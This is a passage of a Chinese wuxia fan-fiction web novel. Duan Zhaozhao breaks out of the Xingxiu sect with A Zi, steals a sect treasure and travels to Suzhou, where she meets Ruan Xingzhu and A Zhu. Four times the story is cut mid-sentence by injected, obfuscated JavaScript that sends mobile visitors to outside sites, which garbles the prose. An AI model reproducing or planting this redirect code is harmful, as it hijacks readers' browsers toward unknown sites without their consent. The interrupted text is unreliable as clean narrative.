阿紫只算是一步闲棋,能成更好,不能成也没关系,等她将debuff给解了,大轻功直接跑路,段氏的大轻功飞得又远又高,哪怕是丁春秋,也追不上她。 如此过了几日后,段昭昭终于将debuff 给磨没了,而丁春秋自觉对她惩罚够了,也开始恢复段昭昭的水食供给。 “喂!”来送饭食的依旧是阿紫,只是比起前些天神气的模样,如今的她显得有些可怜,裸露在外的肌肤上带着青紫,虽然依旧趾高气扬,但段昭昭一眼就看出了她的色厉内荏,“吃饭了!” 和之前一样,阿紫将饭食从食盒中端起,穿过木栏放下。 段昭昭准备逃跑,自然要吃饱喝足,闻声她起身走到了木栏前,开始进食进水。 阿紫见她如此淡定,心里的那些不平又冒出来了,“我师父说了,要杀了你怕不怕! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421951|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们星宿派要来客人了,到时候要把你宰杀了招待客人!” 段昭昭扫了一眼她脸上的青紫,以及那袖口中隐隐露出的东西,换上了关切的口吻,“你脸上的伤疼不疼?你煮个熟鸡子剥了壳用纱布裹着滚一滚会好上不少。” 阿紫整个人都呆住了,她不可置信地盯着段昭昭,咬牙道,“谁要你的关心了!不用你假惺惺!” “哦。”段昭昭不再言语,只是自顾自地吃着饭食。 她不说话了,倒是阿紫坐不住了,在那忸怩了许久后,又问道,“你怎么不说话了?我就知道你是假关心我的!你为什么不问我是怎么受的伤?” 段昭昭:..... 小孩子真难搞! 段昭昭又看了一眼阿紫袖中的露出的那点东西,开口问道,“你是怎么受的伤?” 阿紫见段昭昭如此“听话”心里的气这才顺,“都怪你,你对师父不敬,我让师父好好惩罚你,可是师父只是禁了你的水食,还打了我!那些人都是混蛋,他们觉得师父厌弃了我,也欺负我,抢了我的糖,还让我做好多事情!烦死了!” 阿紫眼眶泛红,身体微微颤抖,她所遭遇的自然不止这些。 星宿派全员恶人,阿紫被丁春秋罚了,星宿派的弟子便觉得她失了宠,最过分的那个喜爱女童,早就因阿紫可爱而垂涎三尺,如今更是对阿紫动手动脚,得亏阿紫机灵搬出丁春秋,吓住了对方,暂时保住了自己。 可就算是这样,阿紫也不能确定自己哪天就会遭了对方的毒手,她年纪虽小,却也明白这些事,便觉得不能坐以待毙,想起段昭昭的那些话,这才又巴巴地跑来给段昭昭送水食。 “你看,这个是什么。”阿紫从袖中掏出了一把折扇,正是段昭昭被收走的他山月,“你求求我,我就将它给你。” “求求你了。”段昭昭没有一点节操,她看看就是看到了他山月才会对阿紫如此忍耐。 阿紫见段昭昭如此顺从,没觉得有什么成就感,反而有些气馁,撇了撇嘴,穿过木栏将他山月塞到了段昭昭的手里,“你之前说的话还算是吗?” “算一半...我可以认你当义妹。” “那另一半不算的是什么?” “你想做什么就做什么是不算的,至少杀人放火是不行的。” 阿紫歪着脑袋,思索片刻,拍掌笑道,“那成,我帮你逃出去,你要帮我杀一个人!” 段昭昭吃完了饭,饮了一口水,将他山月收好,眼也不抬地问道,“杀谁?” “一个贱人,他欺负我!”阿紫咬牙切齿,想起那些欺辱,眼睛又红了。 “好,不过你得带我先去马厩,到时候我们杀完人骑着马跑,你认识路吗?”段昭昭起身,食指轻弹,那些挡在她身前的木栏尽数断裂,阿紫被吓得一个后跳,瞠目结舌地看着段昭昭。 段昭昭施施然地从牢房中走了出来,“走吧。” 阿紫尚未从段昭昭的武功竟然如此之高,毒竟然解了的震惊中回过神来,呆愣愣地问道,“去哪儿。” “杀人。” 20.段氏20 星宿派很大,阿紫领着段昭昭先去了马厩,寻得了一匹好马,紧接着带着段昭昭去寻那个欺辱她的师兄。 “都是贱人,不过他是最贱的那个!” 段昭昭现在吃饱喝足,状态极好,压低声音问道,“还有谁欺负了你?” “啊?”阿紫眨了眨眼睛,凑近小声问道,“你要替我都杀了他们吗?” “顺带,都是作恶多端之人,顺手多杀几个也算是为民除害。”星宿派有一个算一个,都不是什么好人,阿紫还小,来不及作恶,但是她的那些师兄们就不一样了。 阿紫闻言,看段昭昭的眼神都变了,她忽的握住了段昭昭的手臂,再次问道,“你真的要杀了他们吗?” 两人虽然只相差一岁,但是段昭昭营养充足又从小习武,比同龄人更高,相反自幼四处流浪又受师兄们欺辱的阿紫就要矮上不少,段昭昭要比阿紫高上一个脑袋。 她低头看向阿紫,有些疑惑道,“他们欺负你不是吗?如果你想亲自报仇得等下次,现在来不及,咱们得先逃命。” 阿紫将段昭昭的手抱得更紧了,半晌,闷闷道,“你其实也没有那么讨人厌。” 段昭昭任由阿紫抱着,她可以感受到阿紫的身体在颤抖,便回握住阿紫的手,小声道,“如果最后逃不出去,你就说是我挟持的你,别担心,不会牵累你丧命的。” 阿紫听了这话,心中稍宽,难得有些感动,嘴巴却是一如既往的硬,“我当然会这么说,难不成你指望我和你同生共死?” 话虽这么说,但段昭昭明显能够感受到阿紫身上的颤抖逐渐平静了下来。 平心而论,段昭昭在看电视剧的时候,对阿紫很是讨厌,在来到这个世界后更是没法喜欢起来,毕竟长大后的阿紫出场间接导致了褚万里的死亡。 褚万里是段家的家臣,于段昭昭而言是亲和的长辈,而在遇到阿紫之后,阿紫刁蛮任性,又对段昭昭屡次口出恶言,这让段昭昭对阿紫更是厌恶。 然而,段昭昭很清楚,子不教父之过,一切都是段正淳造的孽,阿紫会如此,和段正淳脱不了干系。 段昭昭在段正淳的庇护下长大,段正淳于她有恩,她就算是再不喜欢阿紫,也不能坐视阿紫受欺负不理,至于阿紫以后能不能被教好,那就是段正淳应该担心的事情了,反正再坏也不会比在星宿派坏。 剑客杀人有诗曰:十步杀一人,千里不留行。 而段昭昭杀人,无需十步,二十尺外,至多两指,一指射咽喉一指射太阳穴,便能送人去见阎王。 现实与游戏不同,游戏里两个技能并不足以秒了六十级的小怪,但是现实,只要打准了地方,就能秒人。 段昭昭杀完人,阿紫便冲了进去,找出包裹布一阵搜刮。段昭昭紧随其后,将门关上,不让他人发现异样。 当阿紫搜刮完后,转头看见了身后的段昭昭时,后知后觉地开始难为情起来。 段昭昭手持华美的折扇,身上的衣服虽然有破损脏污,但这以金线勾边红宝石点缀的衣裳还是那样的精美贵气。 怎么就有人能够生得这么好呢? 哪怕是遭遇囚禁,落魄了,还是那样的风度翩翩,阿紫握紧了手中的包袱,这一刻,她觉得自己搜刮钱财的行为就像一个小乞丐似的。 “喂!你不说话是不是瞧不起我!是不是觉得我贪财市侩粗鲁上不得台面!”阿紫恶狠狠地盯着段昭昭,似乎下一秒就要扑上来撕咬一番。 “啊?我是在赞叹你的聪慧,我们这次逃离,一路上少不得要金银细软,难为你比我小却能想到这些。”段昭昭这话有哄阿紫的成分,但也是真的觉得阿紫聪明。 她并不觉得阿紫这样有什么不对,杀怪然后摸装备不是很正常的事情吗? 阿紫闻言,转怒为喜,不再提心吊胆,刚才那一刻,她在恐惧,恐惧着对方会瞧不起她。但如今得了段昭昭的夸赞,有的便只是自得了。 她下巴一抬,得意道,“你虽然比我大,但论行走江湖,你可差远了。” 阿紫并未行走江湖过,但是她流浪了很久很久,从她有记忆时便开始流浪,是个孤儿,直至被丁春秋捡到入了星宿派才过上了有饭吃有衣穿的日子。 接下来,阿紫开门,段昭昭两指杀人,阿紫搜刮,段昭昭关门,如此循环往复,两人联手将星宿派欺负过阿紫且落单的人都扫荡了一遍。 阿紫手中的包裹也越来越鼓囊,作为食物链的底端的她常被使唤着干杂活,譬如帮忙打扫一类的,这让她在搜刮时总能准确找到师兄们藏宝之处。 眼见人已经处理得差不多了,天色也不早了,段昭昭阻止了兴致勃勃欲再清扫一番的阿紫,“走吧,再晚就不方便了。” 阿紫的眼睛转了转,想起丁春秋打她的事,抓紧包袱道,“等我再去偷个东西!很厉害的!而且藏那个东西的地方离马厩不远,咱们偷玩正好可以骑马走。” 段昭昭猜到了阿紫想要偷什么,十有八九就是神木王鼎。神木王鼎是星宿派三宝之一,是修炼化功大法必不可缺的宝贝,鼎身散发的香气可吸引毒虫,点燃特制的香料后,毒虫入鼎可被炼化。 再将炼化后的毒引入经脉,方能修成化功大法的毒功。这毒功需要每隔七日将新毒引入经脉,否则就会受到反噬。 段昭昭记仇得很,丁春秋给一众士兵和巴天石下毒,就是为了抓住她,她自然是要报复回去的,如今虽然打不过,但是逃肯定是逃得了的。 阿紫见段昭昭不说话,以为段昭昭不愿意,拽着段昭昭的手臂央求道,“求求你了,求你啦!” “那就去吧。” 阿紫以为是自己的央求起了效果,顿时眉开眼笑,只觉得这大理的小郡主对自己属实不错,毕竟以往她用这个手段大多时候得到的都是巴掌而非应允,除非是对方心情不错的时候。 她只是觉得这小郡主着实是个好心肠的人,撒娇试试,没曾想对方就同意了,顿时心情大好,走路都是带蹦的。 七拐八弯穿过各色回廊,终于到了藏神木王鼎的地方,阿紫颇有些嘚瑟地说道,“哼,那老贼将宝贝藏得严实,以为我不知道在哪里,笑话,我机灵着呢。” 她絮絮叨叨地将自己是如何发现宝贝的藏身之处一一道来,说完下巴微抬,一双大眼睛扑闪扑闪地看着段昭昭。 段昭昭好歹也是在三个小孩中端过水的“淳二代”,瞬间便明白了她的意思,夸道,“你很聪明。” 阿紫得偿所愿,神采飞扬,灵巧地穿过各色机关,避开了丁春秋设下的毒阵,准确无误地来到了藏匿神木王鼎的地方,“就在这!”说着阿紫将手一伸就去抓那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16427031|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装了神木王鼎的盒子。 下一息,却见那盛放盒子的地方刺出数根泛着幽幽紫光的银针。 “小心!”段昭昭伸手立刻抓住阿紫的衣裳,拽着她避开那些毒针,但阿紫离得太近,哪怕段昭昭的速度够快,还是有一根毒针擦着阿紫的耳朵射到了身后,顿时触发了诸多机关。 段昭昭没有一点点犹豫,对着屋顶就是一扇,将屋顶直接掀开,抱起阿紫就是一个大轻功往马厩的方向飞去。 密室的动静惊动了丁春秋,丁春秋正在练功,听到动静后,飞身而出,连忙到密室一看,却发现自己的机关被触动,神木王鼎也失踪了,顿时召集众人去寻那盗鼎的贼子。 “怎么这么少的人?”丁春秋看着稀疏的人群,眉头紧蹙,面色很是难看。 “师父不好啦,好几个师兄师弟都死了。”一名星宿派弟子跌跌滚滚地跑至丁春秋的身前。 很快又有人来报,“师父,那个大理的郡主抢了马带着小师妹跑出去了。” “岂有此理!”丁春秋气极,“夺我至宝杀我弟子,此女不必再留,杀了吧!” 一众弟子领命纷纷去追段昭昭与阿紫,而丁春秋的速度比这些弟子更快,他双足一跺,整个人如离弦箭矢向马厩的方向冲了过去,他的轻功极为高明,不过几息便至马厩,翻身上马便向段昭昭的方向追去。 丁春秋的速度很快,可段昭昭的速度更快,毕竟她可是有马上轻功来着的,纵马疾驰,丁春秋只能眼睁睁地看着她跑得越来越远。 追不上,根本就追不上。 阿紫指路,段昭昭策马,如此跑了约有百里,天黑到天亮,这马累得直喘粗气,段昭昭这才停了下来。 停下后,段昭昭稍作调息便开始为阿紫传送内力,阿紫的耳朵被毒针划破,虽然吃了解毒丹,但治标不治本,面色苍白,无甚力气,段昭昭只能以周天功为她续命。 “我是不是要死啦?”阿紫害怕极了,泪珠簌簌地落了下来,挥着拳头便去打段昭昭,“都怪你,都怪你!” 段昭昭任由她的拳头落在自己身上,毕竟阿紫中了毒,无甚力气,那点拳头也就捶背的力度,“别害怕,待会儿进城我请大夫为你瞧瞧,不会死的,听闻苏州有一名神医,我带你去寻他,一定能救活你的。” “可是那老贼的毒很厉害...” “神医的医术也很厉害。” 阿紫在见识了段昭昭一指一个师兄后,对段昭昭深信不疑,听段昭昭这么说,心中顿时安稳了不少,又有了精神,“你害我成这样,你得赔我,你要——” 段昭昭伸手,将阿紫的嘴巴捏成鸭子状,“好好休息,别说东说西的,你乖乖的,到时候我给你买漂亮的衣裳,还有各种好吃的。” 阿紫的脸一下就红了,忸怩地点了点头,段昭昭这才松开手。 过了一盏茶的时间,段昭昭再次为阿紫传功。周天功有十分强大的疗愈之效,在这个世界中,内功简直是万金油,两次传功下来,阿紫的身上虽然还有毒素的debuff,但情况明显好转了不少。 又休整一番后,段昭昭骑着马带着阿紫入城寻大夫为阿紫诊治。只是这毒着实阴狠,大夫束手无策,段昭昭只能请镖局替自己送信去大理,而她则买了干粮沐浴更衣后,带着阿紫一路向东去寻那薛慕华。 21.段昭昭21 段昭昭带着阿紫跑了之后,怎么追也追不上的丁春秋大发雷霆,他可不知道什么马上轻功,只是万分疑惑,他的马厩里什么时候藏了这么一匹宝马,叫他怎么也追不上。 愤怒的丁春秋召集一众弟子欲围堵段昭昭,然而他的弟子被段昭昭杀了近乎一半,人数锐减,神木王鼎还被偷了,这导致他为了毒功不出岔子不得不闭关。 如此丁春秋不能亲自去追捕段昭昭和阿紫,只能够吩咐的弟子们去办。 丁春秋门下的弟子思及段昭昭大理郡主的身份,便在从星宿派前往大理方向,然而他们根本就不知道,段昭昭压根就没有前往大理,而是向东去了姑苏方向。 “难吃死了!”阿紫将手中的汤碗一扔,差点扔到了前来送菜的店小二身上,还是段昭昭将人拉开,那碗热汤才没有洒到对方身上。 “对不住了,我这妹子身体不适,连累你了,还请小二哥寻摸几人来替我们打扫一番,再将这汤重新上一碗,再劳烦你和厨房说一声,多烧几桶热水来。”段昭昭将一锭银子塞进了那小二的手中。 小二掂了掂手中的银子后,顿时眉开眼笑,“公子哪里的话,小姑娘家有几分娇气是应当的,小的这就请人来打扫干净。” 为了掩人耳目,段昭昭换上了男装,头发高高扎起,她的身量本就高挑,再用内力改变了声线,就外表看起来一点都不像是个不足十岁的女童,反而像是个十四五岁的少年郎。 她带着只有六七岁模样的阿紫,旁人只当他们是兄妹出来玩耍,并无怀疑。 小二出去后,段昭昭的脸才冷了下来,“我知道你中了毒,这些天赶路赶得急,身子不舒服所以心情难受,可是再难受你也不能糟蹋东西,更不能牵连旁人。” 阿紫中了毒,哪怕有段昭昭用周天功和一阳指为其疗伤,她却依旧难受得厉害,尤其是疲于奔波逃命之下,身体受累后,心情就越发差劲。 阿紫本就不是个好脾气的小姑娘,这才有了刚才那番发作。 “要你管!你以为你是谁?轮得到你管我?”阿紫抓起桌上的碗要砸段昭昭,好宣泄自己的怒火,“而且都怪你,你害死我了,我要疼死了!” 段昭昭手腕一翻,他山月便按住了阿紫的手腕,令阿紫动弹不得,“我是你姐姐,我自然是要管你的,我们如今也入了客栈了,离那星宿派很远,不用再赶路,你要发火冲我来便是,别再糟蹋东西了,好好吃饭,才有力气发火。” 阿紫松开了手中的碗,眼睛红了一圈,“你说你是我的姐姐?” “我不是说过吗?咱们逃出来了,我认你当义妹。”段昭昭松开阿紫的手,替她盛了一碗饭,“你身上哪里还疼?是不是脑袋?待会儿用了膳食沐浴后,我替你通通头发便会好得多。” 毒针擦破阿紫的耳垂,那毒针上的毒厉害至极,也就是段昭昭一直以周天功这样的奇功为阿紫压制毒素又以一阳指为阿紫疗伤,否则阿紫早就丧命了。可就算是这样,毒素依旧会蔓延,使得她脑袋疼得厉害。 “我变成丑八怪你也要让我当你妹妹吗?”阿紫说着不由垂下了头,她很清楚,她能长这么大,全因为她这张脸长得可爱,可如今因为中毒,她的耳垂下方多了巴掌大的紫瘢,虽说用头发遮挡,看得并不清楚,可阿紫自己却看得分明,她如今发火不单单是因为脑袋疼,也是因为这紫瘢。 段昭昭没有立刻回答阿紫,而是双手捧着阿紫的脸,左右端详一番道,“你才不是丑姑娘呢,日后还会长得更好看,日后我夸人好看,也不必夸什么貌若天仙了,便夸她貌若阿紫吧。” 段昭昭说完,心中得意,她在段正淳和段誉身边没白待,听听她这夸人的话,颇有段正淳真传,夸得真好~ 谁料阿紫双眉一竖,眼睛瞪得滚圆,生气地质问道,“你还夸别人貌若天仙?” 段昭昭自得的夸赞话最后得了这么一句质问,人都懵了,这对劲吗?这不对劲吧...果然,她和段正淳比,差得远呢。 “哼哼,逗你的。”阿紫见段昭昭呆愣的模样,转怒为笑,“谁让你摆出姐姐的模样来教训我?” 段昭昭:..... 她算是发现了,养小孩是真的难.... 闹了这么一通后,阿紫的气显然顺了不少,乖乖巧巧地用了饭,甚至等那店小二再次进来的时候,还甜甜地朝人道了歉,还将店小二从头到脚夸了一遍,夸得店小二美滋滋的,令段昭昭叹为观止,深深觉得,论口才,她是真的比不上阿紫。 用了膳,热水也烧好了,段昭昭如约开始替阿紫洗头。 阿紫的头发干枯发黄,宛若杂草一般,段昭昭替她洗好后,又用内力替她烘干,最后用发带将这头发绑成了一个丸子头这才算完事。 “你好好洗澡,我在外头等你。” 段昭昭起身正准备走,却被阿紫一把拽住了,“你别走,我给你看一样东西。” “什么东西?” 阿紫坐起身来,一把扯开了自己的衣襟,露出左肩,“你看,我真的姓段。” 段昭昭抬眼看去,只见那露出的左肩上刺着一个红色的“段”字。 “我先前不知道这是什么意思,后来入了星宿派,识了字,知道了这是个段字,和你的段是一个段。” 段昭昭知道,这个“段”字就是阮星竹绣的,只觉得这个女人真的有病,阿紫被送人的时候才多大?那么大的孩子身上刺绣,不是有病是什么? “疼不疼?” “嗯?”阿紫有些没有反应过来。 段昭昭伸手靠近那个“段”字,到底是没有碰,只是长叹一口气,“你那时候那么小,绣这个肯定很疼。” 阿紫没有想到段昭昭竟然会说这个,眨了眨眼睛,泪珠顺着脸蛋滑落,她迅速地垂下了头,用手背狠狠地抹去了脸上的泪水。 她取下了一直挂在脖颈上的金锁片塞给了段昭昭,“这也是我一直戴在身上的,我将它保护得可好了,肯定是我爹娘给我的,你既是我姐姐,我便给你。以后我的身上有你的段字,你的身上戴着我的金锁片,我们便是最亲密的姐妹。” 段昭昭接过那金锁片,只见上头刻了一行小字——“湖边竹,盈盈绿,报平安,多喜乐。” 再抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432580|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,对上阿紫那双亮晶晶的满含期待的眼睛眼睛,不由心头发酸,将那金锁片又塞回了阿紫的手中。 阿紫顿时面色大变,“怎么?你嫌弃我是——” 她的话未说完,就被段昭昭打断了,“你替我戴上。” 段昭昭弓着腰,尽量去够阿紫。 阿紫破涕为笑,手脚麻利地替段昭昭带上了那金锁片,“以后你便是我最亲的姐姐,你得对我好,不能抛弃我。” “我自然不会抛弃你的,你是我妹妹,姐姐哪里会抛弃妹妹呢?我教你读书识字,待会儿睡起来了,我再带你去买漂亮的衣裳首饰,咱们换辆马车,再去姑苏。不过你以后可不能乱发脾气知道吗?” 段昭昭有意想要掰一掰阿紫的性子,可是又有些心软,下不去手,连训诫的话都成了商量。 阿紫却很吃这一套,软乎乎地应道,“我知道,你是个好心肠的,也喜欢好心肠的妹妹,日后我便学着你,当个好人便是了,我不会再对人发脾气了,也不会打你了。” “那不成。”段昭昭摇了摇头,叮嘱道,“女儿家还是得凶些好,凶一点,就没有人敢欺负你了,你只要不是无缘无故的乱发脾气都可以,我内力很强的,你打我我也不疼,但是你不可再糟蹋东西,也不能随意侮辱他人,取他人的性命。” 阿紫听了这话,更乖了,依恋地靠着段昭昭,她还是第一次遇见对她这样好的人。明明她这伤是她自个要去找神木王鼎受的,她迁怒姐姐,姐姐也不气,她待她这么温柔,这么好,还教着她凶一些。流浪多年在星宿派一直都受欺负的小可怜哪里受得住这个呢? 她要给她当一辈子的妹妹。 这次之后,阿紫便变了许多,虽说对段昭昭还是那副时不时地就使小性子的模样,可是对外人却有了几分段昭昭的样子,她学着段昭昭的做派,也会礼貌用语了,请人帮忙也知道说谢谢了。 阿紫的改变令段昭昭很是高兴,觉得自己其实还是挺会养孩子的。为了奖励阿紫,她特意带着阿紫去买了许多漂亮的衣裳首饰。 阿紫得了这些衣裳首饰,却不是很高兴,“这么漂亮的簪子,我这头发好丑啊,我不想要这簪子了!” “你还小,我小时候头发也这样,再大些就好了。”段昭昭一本正经地说着谎话,“小姑娘就不用戴什么簪子,试试这两条发带如何?” 浅紫色的丝绸发带约莫两指宽,两侧的流苏由铃铛组成,段昭昭手指灵活地穿梭在阿紫毛躁的发间,不过一会儿,就给她梳了一对猫耳朵丸子头,两条发带绑在两个猫耳朵上,分外可爱。 阿紫手持一柄铜镜,歪了歪头,发带上的铃铛摇晃发出清脆的声音,“真好看,还好玩!阿姐,你真厉害!”阿紫满脸的开心,只是当铜镜照过她的侧脸时,看到那片紫瘢,她的神情又变得低落了起来,“可是我这疤...” “别怕,我已经雇了马车了,这里离姑苏不过百里,等我们到了姑苏,找了薛神医,解了毒就好了。” “嗯!”阿紫得了承诺,很快就将害怕抛之脑后,对着铜镜摇头晃脑地继续欣赏起了自己的新发型。 22.段氏22 两日后,马车抵达了姑苏。水路纵横的姑苏城,极其热闹,如今正是秋季,为吃蟹的好时候,有艄公撑着乌篷船,船舱中盛满了湖蟹,行于水路,大声叫卖。 段昭昭定了一个天字号的房间,推船便能见小河流淌,见阿紫好奇地探出头去,便对那艄公唤道,“船家,你这蟹怎么卖?” 艄公闻声停下了船只,仰头道,“回公子,我这有斤重的紫须蟹,百文便可得一只,公子可要来几只?” “那便来——” “哎哟哇,公子啊,倷弗要上只当喏!箇只蟹呀,值弗梗多铜钿嘎!船家啊,倷覅看见人家面孔生,就想着斩冲头嘎!” 脆生生的声音打断了段昭昭的话,邻水相对的窗户中冒出一个脑袋来,定睛一瞧,是个红衣小姑娘,约莫十来岁的模样,她的身边还有一个绿衣的美妇人,妇人与这小姑娘有几分相似,瞧着应该是一对母女。 说实话,段昭昭没有听太懂,官话夹着姑苏的方言,只是约莫知道她差点被敲竹杠了。 只是..... 段昭昭看着插件中显示的两个黄名,“阮星竹”、“阿朱”,这是不是太巧了一些? “张老三,丢死个人啦。”后头又来了一艘乌篷船,撑船的是位粗布麻衣的女子,二十来岁的模样,她笑盈盈地用手中的篙竿捅了一把前头的船只,又抬头道,“小公子,斤重的紫须蟹至多不过五十文,倷弗要上当只喏。” 好好好,果然景区宰客,自古有之,好在她的运气不错,遇到了好心人。 “船家,那你便为我称八只蟹,两公两母为一筐,分作两筐。” 前头喊高价的船家已经灰溜溜地撑船逃之夭夭,这后头的说话的娘子已经撑船至段昭昭的窗下,闻言麻溜地替段昭昭装好了蟹,“公子,我为您装品质最好的,五十文一只,一共四百文。” 她弯腰将两只青竹篾篓挂在篙竿的一端,而后直起身子,双手一个巧劲,篙竿一伸,两筐蟹便被送至段昭昭所在的窗边,还不忘吆喝道,“公子,都道蟹肥菱熟莲子香,您尝了蟹壳要尝尝菱角莲子?” “都入秋了还有莲子?” “有的喏,晚熟的莲子,鲜嫩着呢?菱角十文一斗,莲子十五文一斗。” “那各来两斗。” 撑船娘子将菱角和莲子装入竹篾篓,如法炮制,再次送至了窗边。 “我来取,我来取。”阿紫兴致勃勃地靠了上去,亲手取下了竹篾篓,她头一次来这等水乡之地,也是第一次见到这样的送货方式,新奇得紧,连身上的疼痛也忽视了许多。 “阿紫,这个布袋想来是装钱的,你算算咱们统共要给这位娘子多少钱?”段昭昭鼓励地看着阿紫,这些天行程途中,为了转移阿紫的注意力,她教导起了阿紫万恶的数学。 阿紫掰着手指头数了数,很快便得出了答案,“四百五十文!差不多半贯钱,也就是差不多半两!” “阿紫真棒,那这付钱之事也交给你了。” 阿紫高兴地拍了拍手,从荷包中取了一两银子放在那布袋中,“剩下的便是谢过娘子见义勇为了。” 撑船娘子没想到这得的赏钱比卖的还多,笑得见牙不见眼,“多谢小娘子小公子赏赐!” 她对着段昭昭和阿紫作了个不伦不类的揖,而后心情极好地唱着姑苏小曲,撑船离去。 段昭昭将买来的东西分成了两份,手中的他山月轻轻一挥,那些蟹和菱角以及莲子就这么安安稳稳地被送到了对面的窗户中,“多谢方才仗义执言,也请两位润润嘴。” 阮星竹见到这一手,眼睛一亮,“好俊的功夫!” 她的武功并不高强,可眼力还是有的,她怎么也没有想到这俊俏的小郎君,年纪这般小,却有这么好的功夫。 阿朱性子活泼,在被阮星竹寻回前,她曾是慕容复的婢女,不过因为生得可爱,性子伶俐,极得慕容夫人的喜爱,在慕容家有自己的小院和下人伺候着,一直跟在慕容复身边的她眼力也不差,见段昭昭的这手功夫,不禁眼睛一亮。 “你这人,呆头呆脑的,功夫却真的不赖!” “你才呆头呆脑呢!”段昭昭尚未有什么反应,阿紫却先生了气,“你不止呆头呆脑,你还有眼无珠!” 阿朱挨了骂也不生气,她一见到阿紫,便觉得对方十分熟悉,她喜爱观察别人,模仿着成为别人,如今见到阿紫,却觉得这个小姑娘和自己与娘亲实在是有几分相似,便有几分好感。 见阿紫气得两颊鼓鼓,更觉其可爱,笑着逗弄道,“怎么,我说你阿姐你生气了?” 阿紫愣住了,如今的段昭昭可是作男子打扮,这人怎么看出来的?“你怎地知道是我阿姐?” “你都说我呆头呆脑有眼无珠了,我偏不告诉你。” “哼,不说就不说,我还不稀罕知道呢!” 阿紫说着伸手便要去关窗,似乎不想再见对方一眼。 见她如此,阿朱便知道是自己逗弄太过,眼睛一转,连忙讨饶道,“是我错了,只是这是我的秘密,不可大声说出来,你过来,我便告诉你。” “我才不想知道呢!”话是这么说,可阿紫关窗的动作显然慢了下来。 还未等她有什么动作,段昭昭却一只手抱住了她的腰,一只手拎起了桌上的蟹和菱角莲子,几个腾挪便从窗中跃入阿朱所在的房间,“打扰了。” “赶巧,我们住的这间客栈,厨子的蟹做得极好,这样好的蟹须在好厨子手中才不算枉死。”她声音娇媚活泼,玩笑之间,一点也瞧不出是两个孩子的母亲,颇有几分天真浪漫。 说完,阮星竹摇铃唤来了小二,令小二将这蟹拿下去处理了,又点了一壶桂花酒以及诸如鲈鱼肉羹桂花粥蜜糖藕这样的时令菜肴。 而阿朱和阿紫两人,已经凑在了一块叽里咕噜地说起了话来。 阿朱聪慧,她想要哄人,就没有哄不到,先是诚恳地道了歉,又好生将段昭昭夸了一番,还道,“你们瞧着便是姐妹,果真一样的出色。” 只一句话,瞬间就拿下了阿紫,叫阿紫不再生她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16436805|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 阿朱在姑苏长大,对这些菱角莲子再是熟悉不过,她亲自剥了菱角莲子投喂阿紫,阿紫得了吃的,分了一大半给段昭昭,自己这才开始吃起来。如此一个剥一个吃,倒是显得十分亲密。 “我叫阿朱,你叫什么名字。” “我叫阿紫。” “阿紫,是紫色的紫吗?” “嗯,就是那个紫。” “真巧,咱们的名字是一块的,我是朱砂的朱呢,一个朱,一个紫哩。”阿朱知晓了阿紫的名字,越发觉得对方亲近,细细地同阿紫分享起自己是如何识出段昭昭的身份的。 阿紫听得连连点头,脑子还疯狂地转着开始记笔记。 阮星竹笑盈盈地替段昭昭倒了一杯茶水,问道,“姑娘是来姑苏游玩的?” 段昭昭摇了摇头,叹了口气,开始表演,“并非如此,乃是听说薛神医在姑苏一带出没,我这妹子受我连累,中了毒,我想请薛神医为其诊治。只是入了姑苏,人生地不熟,不知该何处去寻薛神医。” 正在同阿紫玩耍的阿朱听了这话倏地抬起了头来,“阿紫中毒了?” “不是什么要紧事,一点点毒而已。”阿紫嘴硬的模样丝毫瞧不出她因中毒疼痛的恐惧,满脸的不在乎,十分硬气。 阿朱是个热心肠的,又与阿紫十分投缘,她年纪小,却喜欢作他人姐姐,见到年幼的阿紫,又想起了阮星竹所说的那个至今没有寻到的妹妹,顿时心疼不已。 “你莫要害怕,我有法子找到薛神医!” 段昭昭作惊喜状,连声道,“还请阿朱姑娘不吝赐教,若是能引荐薛神医,我大理段氏必有重谢。” “大理段氏”一出,原本还在一旁含笑着看着女儿与段昭昭姐妹互动的阮星竹顿时打翻了手中的茶盏,她倏地站了起来,整理了发鬓,颤声问道,“孩子,你叫什么名字?” 